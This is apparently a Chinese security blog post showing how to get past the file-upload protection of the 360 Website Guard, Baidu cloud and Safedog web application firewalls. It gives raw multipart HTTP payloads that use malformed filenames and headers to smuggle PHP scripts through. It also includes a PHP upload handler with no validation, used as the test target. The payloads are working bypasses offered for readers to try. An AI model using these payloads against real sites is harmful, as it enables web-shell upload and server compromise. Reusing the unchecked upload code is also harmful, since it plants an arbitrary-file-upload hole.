规则没有考虑到一些畸形数据包的情况,导致绕过。

360网站卫士上传绕过:

直接上传非法文件,php、asp、aspx等脚本文件会360被拦截:
Bypass360网站卫士/百度云加速/安全狗文件上传检测 - 成雨 - 成雨s Blog-关注Web信息安全
 修改上传包,在文件名中加入\r\n,绕过360waf的拦截,脚本在解析filename时,会丢掉value内的\r\n,从而导致绕过:
code 区域
------WebKitFormBoundary5nhCIAiBI84EPS9u

Content-Disposition: form-data; name="file"; filename="123

.php"

Content-Type: text/plain



this is a eval code
360已经不拦截这个请求了: 

	
Bypass360网站卫士/百度云加速/安全狗文件上传检测 - 成雨 - 成雨s Blog-关注Web信息安全
 
baidu云waf绕过:


直接上传非法文件,php、asp、aspx等文件,百度依然会被拦截。

按照绕360的方法试试,发现不灵了,在文件名中加入一个了换行符,还是被拦截了。

那么继续fuzz,经过本地脚本发现,只要满足一个字符后面紧跟一个\r\n,在解析filename的时候,还是会丢掉\r\n,取出完整的文件名,因此构造了如下payload,

使用下面的请求可以绕过百度waf的拦截:

code 区域
------WebKitFormBoundary5nhCIAiBI84EPS9u

Content-Disposition: form-data; name="file"; filename="123

.p

h

p"

Content-Type: text/plain



123123123

		
Bypass360网站卫士/百度云加速/安全狗文件上传检测 - 成雨 - 成雨s Blog-关注Web信息安全
 
安全狗绕过




开启安全狗的“上传防御”功能,上传黑名单的文件会被拦截,前面提到的几个绕过waf的方法,都不能玩儿了,在filename中插入\r\n还是会被拦截,经过fuzz发现,post的字段Content-Disposition:的值如果不是

form-data,php脚本还是会解析出来正确的filename,文件也会正常写入,构造请求尝试,发现绕过了安全狗的payload:



code 区域
------WebKitFormBoundary5nhCIAiBI84EPS9u

Content-Disposition:; name="file"; filename=1233.php

Content-Type: text/plain



this is a eval code

			
Bypass360网站卫士/百度云加速/安全狗文件上传检测 - 成雨 - 成雨s Blog-关注Web信息安全
 
后续还测试了国内其余几家的云waf厂商

腾讯云的waf对上传的非法文件不拦截,没有这个拦截策略,就不提bypass了。

知道创宇的waf对上传包的格式进行了校验,这种畸形的post包会直接拦截,包括filename后的变量没有引号的请求都会阻断,水平太菜没有绕过

阿里云盾的waf也针对这种waf绕过做了防御,绕了很久也没绕过去。





上述绕过的payload,已经用世界上最好的语言测试过了,均可以成功上传,可以自行测试。

测试代码:

```

<?php

error_reporting(0);

define('SAVE_DIR','./files/');

function savefile()

{

if(file_exists(SAVE_DIR . $_FILES["file"]["name"]))

{

echo $_FILES["file"]["name"];return ;

}

else

{

echo $_FILES["file"]["name"];

move_uploaded_file($_FILES["file"]["tmp_name"],SAVE_DIR . $_FILES["file"]["name"]);return ;

}

}

savefile();

?>

```